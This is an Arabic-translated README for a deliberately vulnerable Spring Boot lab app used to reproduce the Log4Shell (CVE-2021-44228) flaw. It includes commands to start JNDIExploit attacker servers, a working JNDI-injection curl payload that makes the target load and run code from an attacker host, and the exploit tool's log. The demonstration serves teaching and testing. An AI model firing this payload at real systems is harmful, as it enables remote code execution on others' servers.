
يحتوي هذا المستودع على تطبيق ويب من نوع Spring Boot معرض لثغرة CVE-2021-44228، المعروفة باسم log4shell.
يحتوي هذا المستودع على تطبيق ويب يعمل بـ Spring Boot وهو عرضة لـ CVE-2021-44228، المعروفة باسم log4shell.
يستخدم:
log-4j-core:2.14.1 (عبر spring-boot-starter-log4j2) وopenjdk:8u181قم بتشغيله:
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
أو بدلاً من ذلك، قم ببنائه بنفسك:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
باستخدام الخطوات التالية يمكنك إعادة إنتاج استغلال log4shell. إذا لم تكن على دراية بكيفية عمل الهجوم تحت الغطاء، اطّلع على هذه المقالة أو الشرائح الموجودة في هذا المستودع.
تحديث (13 ديسمبر): تم حذف مستودع JNDIExploit من GitHub (يُفترض، ليس بواسطة GitHub). لذلك أوصي باستخدام النسخة المحفوظة من هذا المستودع.
أولاً يجب علينا إعداد خوادم المهاجم. يتكون ذلك من:
نستخدم JNDIExploit لتشغيل خوادم المهاجم.
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
كحمولة نريد تنفيذ touch /tmp/pwned (والذي يقابل النص المُرمّز بـ base64: dG91Y2ggL3RtcC9wd25lZAo=) على خادم التطبيق الضعيف.
قم بتشغيل الاستغلال باستخدام:
# سينفذ 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
يظهر إخراج JNDIExploit أن خوادم المهاجم استجابت بالاستغلال الضار ونفذت الحمولة:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
للتأكد من نجاح تنفيذ الكود، نتحقق من إنشاء الملف /tmp/pwned.txt داخل الحاوية التي تشغل التطبيق الضعيف:
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/